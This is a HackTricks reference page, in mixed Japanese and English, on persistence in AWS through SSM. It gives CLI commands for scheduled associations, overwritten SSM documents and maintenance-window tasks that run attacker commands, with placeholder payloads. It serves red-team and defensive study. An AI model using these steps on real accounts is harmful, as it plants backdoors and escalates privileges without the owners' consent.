AWS - SSM Perssitence

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

SSM

For more information check:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:CreateAssociation を使った persistence

ssm:CreateAssociation 権限を持つ攻撃者は、SSM で管理されている EC2 インスタンス上でコマンドを自動実行するための State Manager Association を作成できます。これらの association は固定間隔で実行するように設定できるため、対話型セッションなしでバックドアのような persistence に適しています。

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

この persistence method は、EC2 instance が Systems Manager によって managed されており、SSM agent が running し、かつ attacker が associations を create する権限を持っている限り機能します。interactive sessions や明示的な ssm:SendCommand permissions は必要ありません。Important: --schedule-expression parameter(例: rate(30 minutes))は AWS の minimum interval である 30 minutes を満たす必要があります。即時実行または one-time execution の場合は、--schedule-expression を完全に省略してください — association は creation 後に 1 回実行されます。

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

ssm:UpdateDocumentssm:UpdateDocumentDefaultVersion の permissions を持つ attacker は、既存の documents を modify することで privileges を escalate できます。これにより、その document 内での persistence も可能になります。実際には、custom documents の names を取得するために ssm:ListDocuments も必要ですし、attacker が既存の document 内に payload を obfuscate したい場合は ssm:GetDocument も必要になります。

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

以下は、既存の document を上書きするために使用できる example document です。invocation に関する問題を避けるため、document type が target document の type と一致していることを確認してください。以下の document は、たとえば ssm:SendCommandssm:CreateAssociation の examples になります。

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

ssm:RegisterTaskWithMaintenanceWindowssm:RegisterTargetWithMaintenanceWindow の権限を持つ攻撃者は、まず既存の maintenance window に新しい target を登録し、その後に新しい task を更新登録することで権限昇格できます。これにより既存の targets 上で実行できますが、新しい targets を登録することで、異なる roles を持つ compute を侵害することも可能です。これにより persistence も可能で、maintenance window の tasks は window 作成時に定義された pre-defined interval で実行されます。実際には、attackers は maintenance window の IDs を取得するために ssm:DescribeMaintenanceWindows も必要になります。

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする